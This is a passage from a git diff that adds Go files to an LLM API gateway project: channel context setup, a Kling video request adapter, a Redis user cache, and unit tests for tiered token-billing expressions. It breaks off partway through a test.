+		common.SetContextKey(c, constant.ContextKeyChannelOrganization, *channel.OpenAIOrganization)
+	}
+	common.SetContextKey(c, constant.ContextKeyChannelAutoBan, channel.GetAutoBan())
+	common.SetContextKey(c, constant.ContextKeyChannelModelMapping, channel.GetModelMapping())
+	common.SetContextKey(c, constant.ContextKeyChannelStatusCodeMapping, channel.GetStatusCodeMapping())
+
+	key, index, newAPIError := channel.GetNextEnabledKey()
+	if newAPIError != nil {
+		return newAPIError
+	}
+	if channel.ChannelInfo.IsMultiKey {
+		common.SetContextKey(c, constant.ContextKeyChannelIsMultiKey, true)
+		common.SetContextKey(c, constant.ContextKeyChannelMultiKeyIndex, index)
+	} else {
+		// 必须设置为 false，否则在重试到单个 key 的时候会导致日志显示错误
+		common.SetContextKey(c, constant.ContextKeyChannelIsMultiKey, false)
+	}
+	// c.Request.Header.Set("Authorization", fmt.Sprintf("Bearer %s", key))
+	common.SetContextKey(c, constant.ContextKeyChannelKey, key)
+	common.SetContextKey(c, constant.ContextKeyChannelBaseUrl, channel.GetBaseURL())
+
+	common.SetContextKey(c, constant.ContextKeySystemPromptOverride, false)
+
+	// TODO: api_version统一
+	switch channel.Type {
+	case constant.ChannelTypeAzure:
+		c.Set("api_version", channel.Other)
+	case constant.ChannelTypeVertexAi:
+		c.Set("region", channel.Other)
+	case constant.ChannelTypeXunfei:
+		c.Set("api_version", channel.Other)
+	case constant.ChannelTypeGemini:
+		c.Set("api_version", channel.Other)
+	case constant.ChannelTypeAli:
+		c.Set("plugin", channel.Other)
+	case constant.ChannelCloudflare:
+		c.Set("api_version", channel.Other)
+	case constant.ChannelTypeMokaAI:
+		c.Set("api_version", channel.Other)
+	case constant.ChannelTypeCoze:
+		c.Set("bot_id", channel.Other)
+	}
+	return nil
+}
+
+// extractModelNameFromGeminiPath 从 Gemini API URL 路径中提取模型名
+// 输入格式: /v1beta/models/gemini-2.0-flash:generateContent
+// 输出: gemini-2.0-flash
+func extractModelNameFromGeminiPath(path string) string {
+	// 查找 "/models/" 的位置
+	modelsPrefix := "/models/"
+	modelsIndex := strings.Index(path, modelsPrefix)
+	if modelsIndex == -1 {
+		return ""
+	}
+
+	// 从 "/models/" 之后开始提取
+	startIndex := modelsIndex + len(modelsPrefix)
+	if startIndex >= len(path) {
+		return ""
+	}
+
+	// 查找 ":" 的位置，模型名在 ":" 之前
+	colonIndex := strings.Index(path[startIndex:], ":")
+	if colonIndex == -1 {
+		// 如果没有找到 ":"，返回从 "/models/" 到路径结尾的部分
+		return path[startIndex:]
+	}
+
+	// 返回模型名部分
+	return path[startIndex : startIndex+colonIndex]
+}
diff --git a/_all-in-one-upload/new-api/middleware/kling_adapter.go b/_all-in-one-upload/new-api/middleware/kling_adapter.go
new file mode 100644
index 0000000..e200379
--- /dev/null
+++ b/_all-in-one-upload/new-api/middleware/kling_adapter.go
@@ -0,0 +1,52 @@
+package middleware
+
+import (
+	"bytes"
+	"encoding/json"
+	"io"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+
+	"github.com/gin-gonic/gin"
+)
+
+func KlingRequestConvert() func(c *gin.Context) {
+	return func(c *gin.Context) {
+		var originalReq map[string]interface{}
+		if err := common.UnmarshalBodyReusable(c, &originalReq); err != nil {
+			c.Next()
+			return
+		}
+
+		// Support both model_name and model fields
+		model, _ := originalReq["model_name"].(string)
+		if model == "" {
+			model, _ = originalReq["model"].(string)
+		}
+		prompt, _ := originalReq["prompt"].(string)
+
+		unifiedReq := map[string]interface{}{
+			"model":    model,
+			"prompt":   prompt,
+			"metadata": originalReq,
+		}
+
+		jsonData, err := json.Marshal(unifiedReq)
+		if err != nil {
+			c.Next()
+			return
+		}
+
+		// Rewrite request body and path
+		c.Request.Body = io.NopCloser(bytes.NewBuffer(jsonData))
+		c.Request.URL.Path = "/v1/video/generations"
+		if image, ok := originalReq["image"]; !ok || image == "" {
+			c.Set("action", constant.TaskActionTextGenerate)
+		}
+
+		// We have to reset the request body for the next handlers
+		c.Set(common.KeyRequestBody, jsonData)
+		c.Next()
+	}
+}
diff --git a/_all-in-one-upload/new-api/model/setup.go b/_all-in-one-upload/new-api/model/setup.go
new file mode 100644
index 0000000..c4d7997
--- /dev/null
+++ b/_all-in-one-upload/new-api/model/setup.go
@@ -0,0 +1,16 @@
+package model
+
+type Setup struct {
+	ID            uint   `json:"id" gorm:"primaryKey"`
+	Version       string `json:"version" gorm:"type:varchar(50);not null"`
+	InitializedAt int64  `json:"initialized_at" gorm:"type:bigint;not null"`
+}
+
+func GetSetup() *Setup {
+	var setup Setup
+	err := DB.First(&setup).Error
+	if err != nil {
+		return nil
+	}
+	return &setup
+}
diff --git a/_all-in-one-upload/new-api/model/user_cache.go b/_all-in-one-upload/new-api/model/user_cache.go
new file mode 100644
index 0000000..80d0264
--- /dev/null
+++ b/_all-in-one-upload/new-api/model/user_cache.go
@@ -0,0 +1,239 @@
+package model
+
+import (
+	"fmt"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+
+	"github.com/gin-gonic/gin"
+
+	"github.com/bytedance/gopkg/util/gopool"
+)
+
+// UserBase struct remains the same as it represents the cached data structure
+type UserBase struct {
+	Id       int    `json:"id"`
+	Group    string `json:"group"`
+	Email    string `json:"email"`
+	Quota    int    `json:"quota"`
+	Status   int    `json:"status"`
+	Username string `json:"username"`
+	Setting  string `json:"setting"`
+}
+
+func (user *UserBase) WriteContext(c *gin.Context) {
+	common.SetContextKey(c, constant.ContextKeyUserGroup, user.Group)
+	common.SetContextKey(c, constant.ContextKeyUserQuota, user.Quota)
+	common.SetContextKey(c, constant.ContextKeyUserStatus, user.Status)
+	common.SetContextKey(c, constant.ContextKeyUserEmail, user.Email)
+	common.SetContextKey(c, constant.ContextKeyUserName, user.Username)
+	common.SetContextKey(c, constant.ContextKeyUserSetting, user.GetSetting())
+}
+
+func (user *UserBase) GetSetting() dto.UserSetting {
+	setting := dto.UserSetting{}
+	if user.Setting != "" {
+		err := common.Unmarshal([]byte(user.Setting), &setting)
+		if err != nil {
+			common.SysLog("failed to unmarshal setting: " + err.Error())
+		}
+	}
+	return setting
+}
+
+// getUserCacheKey returns the key for user cache
+func getUserCacheKey(userId int) string {
+	return fmt.Sprintf("user:%d", userId)
+}
+
+// invalidateUserCache clears user cache
+func invalidateUserCache(userId int) error {
+	if !common.RedisEnabled {
+		return nil
+	}
+	return common.RedisDelKey(getUserCacheKey(userId))
+}
+
+// InvalidateUserCache is the exported version of invalidateUserCache.
+// 供 controller 等上层包在用户状态变更（如禁用、删除、角色变更）后主动清理缓存。
+func InvalidateUserCache(userId int) error {
+	return invalidateUserCache(userId)
+}
+
+// updateUserCache updates all user cache fields using hash
+func updateUserCache(user User) error {
+	if !common.RedisEnabled {
+		return nil
+	}
+
+	return common.RedisHSetObj(
+		getUserCacheKey(user.Id),
+		user.ToBaseUser(),
+		time.Duration(common.RedisKeyCacheSeconds())*time.Second,
+	)
+}
+
+// GetUserCache gets complete user cache from hash
+func GetUserCache(userId int) (userCache *UserBase, err error) {
+	var user *User
+	var fromDB bool
+	defer func() {
+		// Update Redis cache asynchronously on successful DB read
+		if shouldUpdateRedis(fromDB, err) && user != nil {
+			gopool.Go(func() {
+				if err := updateUserCache(*user); err != nil {
+					common.SysLog("failed to update user status cache: " + err.Error())
+				}
+			})
+		}
+	}()
+
+	// Try getting from Redis first
+	userCache, err = cacheGetUserBase(userId)
+	if err == nil {
+		return userCache, nil
+	}
+
+	// If Redis fails, get from DB
+	fromDB = true
+	user, err = GetUserById(userId, false)
+	if err != nil {
+		return nil, err // Return nil and error if DB lookup fails
+	}
+
+	// Create cache object from user data
+	userCache = &UserBase{
+		Id:       user.Id,
+		Group:    user.Group,
+		Quota:    user.Quota,
+		Status:   user.Status,
+		Username: user.Username,
+		Setting:  user.Setting,
+		Email:    user.Email,
+	}
+
+	return userCache, nil
+}
+
+func cacheGetUserBase(userId int) (*UserBase, error) {
+	if !common.RedisEnabled {
+		return nil, fmt.Errorf("redis is not enabled")
+	}
+	var userCache UserBase
+	// Try getting from Redis first
+	err := common.RedisHGetObj(getUserCacheKey(userId), &userCache)
+	if err != nil {
+		return nil, err
+	}
+	return &userCache, nil
+}
+
+// Add atomic quota operations using hash fields
+func cacheIncrUserQuota(userId int, delta int64) error {
+	if !common.RedisEnabled {
+		return nil
+	}
+	return common.RedisHIncrBy(getUserCacheKey(userId), "Quota", delta)
+}
+
+func cacheDecrUserQuota(userId int, delta int64) error {
+	return cacheIncrUserQuota(userId, -delta)
+}
+
+// Helper functions to get individual fields if needed
+func getUserGroupCache(userId int) (string, error) {
+	cache, err := GetUserCache(userId)
+	if err != nil {
+		return "", err
+	}
+	return cache.Group, nil
+}
+
+func getUserQuotaCache(userId int) (int, error) {
+	cache, err := GetUserCache(userId)
+	if err != nil {
+		return 0, err
+	}
+	return cache.Quota, nil
+}
+
+func getUserStatusCache(userId int) (int, error) {
+	cache, err := GetUserCache(userId)
+	if err != nil {
+		return 0, err
+	}
+	return cache.Status, nil
+}
+
+func getUserNameCache(userId int) (string, error) {
+	cache, err := GetUserCache(userId)
+	if err != nil {
+		return "", err
+	}
+	return cache.Username, nil
+}
+
+func getUserSettingCache(userId int) (dto.UserSetting, error) {
+	cache, err := GetUserCache(userId)
+	if err != nil {
+		return dto.UserSetting{}, err
+	}
+	return cache.GetSetting(), nil
+}
+
+// New functions for individual field updates
+func updateUserStatusCache(userId int, status bool) error {
+	if !common.RedisEnabled {
+		return nil
+	}
+	statusInt := common.UserStatusEnabled
+	if !status {
+		statusInt = common.UserStatusDisabled
+	}
+	return common.RedisHSetField(getUserCacheKey(userId), "Status", fmt.Sprintf("%d", statusInt))
+}
+
+func updateUserQuotaCache(userId int, quota int) error {
+	if !common.RedisEnabled {
+		return nil
+	}
+	return common.RedisHSetField(getUserCacheKey(userId), "Quota", fmt.Sprintf("%d", quota))
+}
+
+func updateUserGroupCache(userId int, group string) error {
+	if !common.RedisEnabled {
+		return nil
+	}
+	return common.RedisHSetField(getUserCacheKey(userId), "Group", group)
+}
+
+func UpdateUserGroupCache(userId int, group string) error {
+	return updateUserGroupCache(userId, group)
+}
+
+func updateUserNameCache(userId int, username string) error {
+	if !common.RedisEnabled {
+		return nil
+	}
+	return common.RedisHSetField(getUserCacheKey(userId), "Username", username)
+}
+
+func updateUserSettingCache(userId int, setting string) error {
+	if !common.RedisEnabled {
+		return nil
+	}
+	return common.RedisHSetField(getUserCacheKey(userId), "Setting", setting)
+}
+
+// GetUserLanguage returns the user's language preference from cache
+// Uses the existing GetUserCache mechanism for efficiency
+func GetUserLanguage(userId int) string {
+	userCache, err := GetUserCache(userId)
+	if err != nil {
+		return ""
+	}
+	return userCache.GetSetting().Language
+}
diff --git a/_all-in-one-upload/new-api/pkg/billingexpr/billingexpr_test.go b/_all-in-one-upload/new-api/pkg/billingexpr/billingexpr_test.go
new file mode 100644
index 0000000..5a5412f
--- /dev/null
+++ b/_all-in-one-upload/new-api/pkg/billingexpr/billingexpr_test.go
@@ -0,0 +1,1094 @@
+package billingexpr_test
+
+import (
+	"math"
+	"math/rand"
+	"testing"
+
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+)
+
+// ---------------------------------------------------------------------------
+// Claude-style: fixed tiers, input > 200K changes both input & output price
+// ---------------------------------------------------------------------------
+
+const claudeExpr = `p <= 200000 ? tier("standard", p * 1.5 + c * 7.5) : tier("long_context", p * 3.0 + c * 11.25)`
+
+func TestClaude_StandardTier(t *testing.T) {
+	cost, trace, err := billingexpr.RunExpr(claudeExpr, billingexpr.TokenParams{P: 100000, C: 5000})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 100000*1.5 + 5000*7.5
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "standard")
+	}
+}
+
+func TestClaude_LongContextTier(t *testing.T) {
+	cost, trace, err := billingexpr.RunExpr(claudeExpr, billingexpr.TokenParams{P: 300000, C: 10000})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 300000*3.0 + 10000*11.25
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "long_context" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "long_context")
+	}
+}
+
+func TestClaude_BoundaryExact(t *testing.T) {
+	cost, trace, err := billingexpr.RunExpr(claudeExpr, billingexpr.TokenParams{P: 200000, C: 1000})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 200000*1.5 + 1000*7.5
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "standard")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// GLM-style: multi-condition tiers with both input and output dimensions
+// ---------------------------------------------------------------------------
+
+const glmExpr = `
+(
+	p < 32000 && c < 200 ? tier("tier1_short", (p)*2 + c*8) :
+	p < 32000 && c >= 200 ? tier("tier2_long_output", (p)*3 + c*14) :
+	tier("tier3_long_input", (p)*4 + c*16)
+) / 1000000
+`
+
+func TestGLM_Tier1(t *testing.T) {
+	cost, trace, err := billingexpr.RunExpr(glmExpr, billingexpr.TokenParams{P: 15000, C: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := (15000.0*2 + 100.0*8) / 1000000
+	if math.Abs(cost-want) > 1e-10 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "tier1_short" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "tier1_short")
+	}
+}
+
+func TestGLM_Tier2(t *testing.T) {
+	cost, trace, err := billingexpr.RunExpr(glmExpr, billingexpr.TokenParams{P: 15000, C: 500})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := (15000.0*3 + 500.0*14) / 1000000
+	if math.Abs(cost-want) > 1e-10 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "tier2_long_output" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "tier2_long_output")
+	}
+}
+
+func TestGLM_Tier3(t *testing.T) {
+	cost, trace, err := billingexpr.RunExpr(glmExpr, billingexpr.TokenParams{P: 50000, C: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := (50000.0*4 + 100.0*16) / 1000000
+	if math.Abs(cost-want) > 1e-10 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "tier3_long_input" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "tier3_long_input")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Simple flat-rate (no tier() call)
+// ---------------------------------------------------------------------------
+
+func TestSimpleExpr_NoTier(t *testing.T) {
+	cost, trace, err := billingexpr.RunExpr("p * 0.5 + c * 1.0", billingexpr.TokenParams{P: 1000, C: 500})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 1000*0.5 + 500*1.0
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "" {
+		t.Errorf("tier should be empty, got %q", trace.MatchedTier)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Math helper functions
+// ---------------------------------------------------------------------------
+
+func TestMathHelpers(t *testing.T) {
+	cost, _, err := billingexpr.RunExpr("max(p, c) * 0.5 + min(p, c) * 0.1", billingexpr.TokenParams{P: 300, C: 500})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 500*0.5 + 300*0.1
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+}
+
+func TestRequestProbeHelpers(t *testing.T) {
+	cost, _, err := billingexpr.RunExprWithRequest(
+		`p * 0.5 + c * 1.0 * (param("service_tier") == "fast" ? 2 : 1)`,
+		billingexpr.TokenParams{P: 1000, C: 500},
+		billingexpr.RequestInput{
+			Body: []byte(`{"service_tier":"fast"}`),
+		},
+	)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 1000*0.5 + 500*1.0*2
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+}
+
+func TestHeaderProbeHelper(t *testing.T) {
+	cost, _, err := billingexpr.RunExprWithRequest(
+		`p * 0.5 + c * 1.0 * (has(header("anthropic-beta"), "fast-mode") ? 2 : 1)`,
+		billingexpr.TokenParams{P: 1000, C: 500},
+		billingexpr.RequestInput{
+			Headers: map[string]string{
+				"Anthropic-Beta": "fast-mode-2026-02-01",
+			},
+		},
+	)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 1000*0.5 + 500*1.0*2
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+}
+
+func TestParamProbeNestedBool(t *testing.T) {
+	cost, _, err := billingexpr.RunExprWithRequest(
+		`p * (param("stream_options.fast_mode") == true ? 1.5 : 1.0)`,
+		billingexpr.TokenParams{P: 100},
+		billingexpr.RequestInput{
+			Body: []byte(`{"stream_options":{"fast_mode":true}}`),
+		},
+	)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 150.0
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+}
+
+func TestParamProbeArrayLength(t *testing.T) {
+	cost, _, err := billingexpr.RunExprWithRequest(
+		`p * (param("messages.#") > 20 ? 1.2 : 1.0)`,
+		billingexpr.TokenParams{P: 100},
+		billingexpr.RequestInput{
+			Body: []byte(`{"messages":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21]}`),
+		},
+	)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 120.0
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+}
+
+func TestRequestProbeMissingFieldReturnsNil(t *testing.T) {
+	cost, _, err := billingexpr.RunExprWithRequest(
+		`param("missing.value") == nil ? 2 : 1`,
+		billingexpr.TokenParams{},
+		billingexpr.RequestInput{
+			Body: []byte(`{"service_tier":"standard"}`),
+		},
+	)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if cost != 2 {
+		t.Errorf("cost = %f, want 2", cost)
+	}
+}
+
+func TestRequestProbeMultipleRulesMultiply(t *testing.T) {
+	cost, _, err := billingexpr.RunExprWithRequest(
+		`(param("service_tier") == "fast" ? 2 : 1) * (has(header("anthropic-beta"), "fast-mode-2026-02-01") ? 2.5 : 1)`,
+		billingexpr.TokenParams{},
+		billingexpr.RequestInput{
+			Headers: map[string]string{
+				"Anthropic-Beta": "fast-mode-2026-02-01",
+			},
+			Body: []byte(`{"service_tier":"fast"}`),
+		},
+	)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if math.Abs(cost-5) > 1e-6 {
+		t.Errorf("cost = %f, want 5", cost)
+	}
+}
+
+func TestCeilFloor(t *testing.T) {
+	cost, _, err := billingexpr.RunExpr("ceil(p / 1000) * 0.5", billingexpr.TokenParams{P: 1500})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := math.Ceil(1500.0/1000) * 0.5
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Zero tokens
+// ---------------------------------------------------------------------------
+
+func TestZeroTokens(t *testing.T) {
+	cost, _, err := billingexpr.RunExpr(claudeExpr, billingexpr.TokenParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if cost != 0 {
+		t.Errorf("cost should be 0 for zero tokens, got %f", cost)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Rounding
+// ---------------------------------------------------------------------------
+
+func TestQuotaRound(t *testing.T) {
+	tests := []struct {
+		in   float64
+		want int
+	}{
+		{0, 0},
+		{0.4, 0},
+		{0.5, 1},
+		{0.6, 1},
+		{1.5, 2},
+		{-0.5, -1},
+		{-0.6, -1},
+		{999.4999, 999},
+		{999.5, 1000},
+		{1e9 + 0.5, 1e9 + 1},
+	}
+	for _, tt := range tests {
+		got := billingexpr.QuotaRound(tt.in)
+		if got != tt.want {
+			t.Errorf("QuotaRound(%f) = %d, want %d", tt.in, got, tt.want)
+		}
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Settlement
+// ---------------------------------------------------------------------------
+
+func TestComputeTieredQuota_Basic(t *testing.T) {
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:               "tiered_expr",
+		ExprString:                claudeExpr,
+		ExprHash:                  billingexpr.ExprHashString(claudeExpr),
+		GroupRatio:                1.0,
+		EstimatedPromptTokens:     100000,
+		EstimatedCompletionTokens: 5000,
+		EstimatedQuotaBeforeGroup: (100000*1.5 + 5000*7.5) / 1_000_000 * 500_000,
+		EstimatedQuotaAfterGroup:  billingexpr.QuotaRound((100000*1.5 + 5000*7.5) / 1_000_000 * 500_000),
+		EstimatedTier:             "standard",
+		QuotaPerUnit:              500_000,
+	}
+
+	result, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 300000, C: 10000})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	wantBefore := (300000*3.0 + 10000*11.25) / 1_000_000 * 500_000
+	if math.Abs(result.ActualQuotaBeforeGroup-wantBefore) > 1e-6 {
+		t.Errorf("before group: got %f, want %f", result.ActualQuotaBeforeGroup, wantBefore)
+	}
+	if result.MatchedTier != "long_context" {
+		t.Errorf("tier = %q, want %q", result.MatchedTier, "long_context")
+	}
+	if !result.CrossedTier {
+		t.Error("expected crossed_tier=true (estimated standard, actual long_context)")
+	}
+}
+
+func TestComputeTieredQuota_SameTier(t *testing.T) {
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:               "tiered_expr",
+		ExprString:                claudeExpr,
+		ExprHash:                  billingexpr.ExprHashString(claudeExpr),
+		GroupRatio:                1.5,
+		EstimatedPromptTokens:     50000,
+		EstimatedCompletionTokens: 1000,
+		EstimatedQuotaBeforeGroup: (50000*1.5 + 1000*7.5) / 1_000_000 * 500_000,
+		EstimatedQuotaAfterGroup:  billingexpr.QuotaRound((50000*1.5 + 1000*7.5) / 1_000_000 * 500_000 * 1.5),
+		EstimatedTier:             "standard",
+		QuotaPerUnit:              500_000,
+	}
+
+	result, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 80000, C: 2000})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	wantBefore := (80000*1.5 + 2000*7.5) / 1_000_000 * 500_000
+	wantAfter := billingexpr.QuotaRound(wantBefore * 1.5)
+	if result.ActualQuotaAfterGroup != wantAfter {
+		t.Errorf("after group: got %d, want %d", result.ActualQuotaAfterGroup, wantAfter)
+	}
+	if result.CrossedTier {
+		t.Error("expected crossed_tier=false (both standard)")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Compile errors
+// ---------------------------------------------------------------------------
+
+func TestCompileError(t *testing.T) {
+	_, _, err := billingexpr.RunExpr("invalid +-+ syntax", billingexpr.TokenParams{})
+	if err == nil {
+		t.Error("expected compile error")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Compile Cache
+// ---------------------------------------------------------------------------
+
+func TestCompileCache_SameResult(t *testing.T) {
+	r1, _, err := billingexpr.RunExpr("p * 0.5", billingexpr.TokenParams{P: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	r2, _, err := billingexpr.RunExpr("p * 0.5", billingexpr.TokenParams{P: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if r1 != r2 {
+		t.Errorf("cached and uncached results differ: %f != %f", r1, r2)
+	}
+}
+
+func TestInvalidateCache(t *testing.T) {
+	billingexpr.InvalidateCache()
+	r1, _, _ := billingexpr.RunExpr("p * 0.5", billingexpr.TokenParams{P: 100})
+	billingexpr.InvalidateCache()
+	r2, _, _ := billingexpr.RunExpr("p * 0.5", billingexpr.TokenParams{P: 100})
+	if r1 != r2 {
+		t.Errorf("post-invalidate results differ: %f != %f", r1, r2)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Hash
+// ---------------------------------------------------------------------------
+
+func TestExprHashString_Deterministic(t *testing.T) {
+	h1 := billingexpr.ExprHashString("p * 0.5")
+	h2 := billingexpr.ExprHashString("p * 0.5")
+	if h1 != h2 {
+		t.Error("hash should be deterministic")
+	}
+	h3 := billingexpr.ExprHashString("p * 0.6")
+	if h1 == h3 {
+		t.Error("different expressions should have different hashes")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Cache variables: present
+// ---------------------------------------------------------------------------
+
+const claudeWithCacheExpr = `p <= 200000 ? tier("standard", p * 1.5 + c * 7.5 + cr * 0.15 + cc * 1.875) : tier("long_context", p * 3.0 + c * 11.25 + cr * 0.3 + cc * 3.75)`
+
+func TestCachePresent_StandardTier(t *testing.T) {
+	params := billingexpr.TokenParams{P: 100000, C: 5000, CR: 50000, CC: 10000}
+	cost, trace, err := billingexpr.RunExpr(claudeWithCacheExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 100000*1.5 + 5000*7.5 + 50000*0.15 + 10000*1.875
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "standard")
+	}
+}
+
+func TestCachePresent_LongContextTier(t *testing.T) {
+	params := billingexpr.TokenParams{P: 300000, C: 10000, CR: 100000, CC: 20000}
+	cost, trace, err := billingexpr.RunExpr(claudeWithCacheExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 300000*3.0 + 10000*11.25 + 100000*0.3 + 20000*3.75
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "long_context" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "long_context")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Cache variables: absent (all zero) — same expression still works
+// ---------------------------------------------------------------------------
+
+func TestCacheAbsent_ZeroCacheTokens(t *testing.T) {
+	params := billingexpr.TokenParams{P: 100000, C: 5000}
+	cost, trace, err := billingexpr.RunExpr(claudeWithCacheExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 100000*1.5 + 5000*7.5
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f (cache terms should be 0)", cost, want)
+	}
+	if trace.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "standard")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Mixed cache fields: cc and cc1h non-zero
+// ---------------------------------------------------------------------------
+
+const claudeCacheSplitExpr = `tier("default", p * 1.5 + c * 7.5 + cr * 0.15 + cc * 2.0 + cc1h * 3.0)`
+
+func TestMixedCacheFields(t *testing.T) {
+	params := billingexpr.TokenParams{P: 100000, C: 5000, CR: 10000, CC: 5000, CC1h: 2000}
+	cost, _, err := billingexpr.RunExpr(claudeCacheSplitExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 100000*1.5 + 5000*7.5 + 10000*0.15 + 5000*2.0 + 2000*3.0
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+}
+
+func TestMixedCacheFields_AllCacheZero(t *testing.T) {
+	params := billingexpr.TokenParams{P: 100000, C: 5000}
+	cost, _, err := billingexpr.RunExpr(claudeCacheSplitExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 100000*1.5 + 5000*7.5
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f (all cache zero)", cost, want)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Backward compatibility: p+c only expressions still work with TokenParams
+// ---------------------------------------------------------------------------
+
+func TestBackwardCompat_OldExprWithTokenParams(t *testing.T) {
+	params := billingexpr.TokenParams{P: 100000, C: 5000, CR: 99999, CC: 88888}
+	cost, trace, err := billingexpr.RunExpr(claudeExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 100000*1.5 + 5000*7.5
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f (old expr ignores cache fields)", cost, want)
+	}
+	if trace.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want %q", trace.MatchedTier, "standard")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Settlement with cache tokens
+// ---------------------------------------------------------------------------
+
+func TestComputeTieredQuota_WithCache(t *testing.T) {
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:               "tiered_expr",
+		ExprString:                claudeWithCacheExpr,
+		ExprHash:                  billingexpr.ExprHashString(claudeWithCacheExpr),
+		GroupRatio:                1.0,
+		EstimatedPromptTokens:     100000,
+		EstimatedCompletionTokens: 5000,
+		EstimatedQuotaBeforeGroup: (100000*1.5 + 5000*7.5) / 1_000_000 * 500_000,
+		EstimatedQuotaAfterGroup:  billingexpr.QuotaRound((100000*1.5 + 5000*7.5) / 1_000_000 * 500_000),
+		EstimatedTier:             "standard",
+		QuotaPerUnit:              500_000,
+	}
+
+	params := billingexpr.TokenParams{P: 100000, C: 5000, CR: 50000, CC: 10000}
+	result, err := billingexpr.ComputeTieredQuota(snap, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	wantBefore := (100000*1.5 + 5000*7.5 + 50000*0.15 + 10000*1.875) / 1_000_000 * 500_000
+	if math.Abs(result.ActualQuotaBeforeGroup-wantBefore) > 1e-6 {
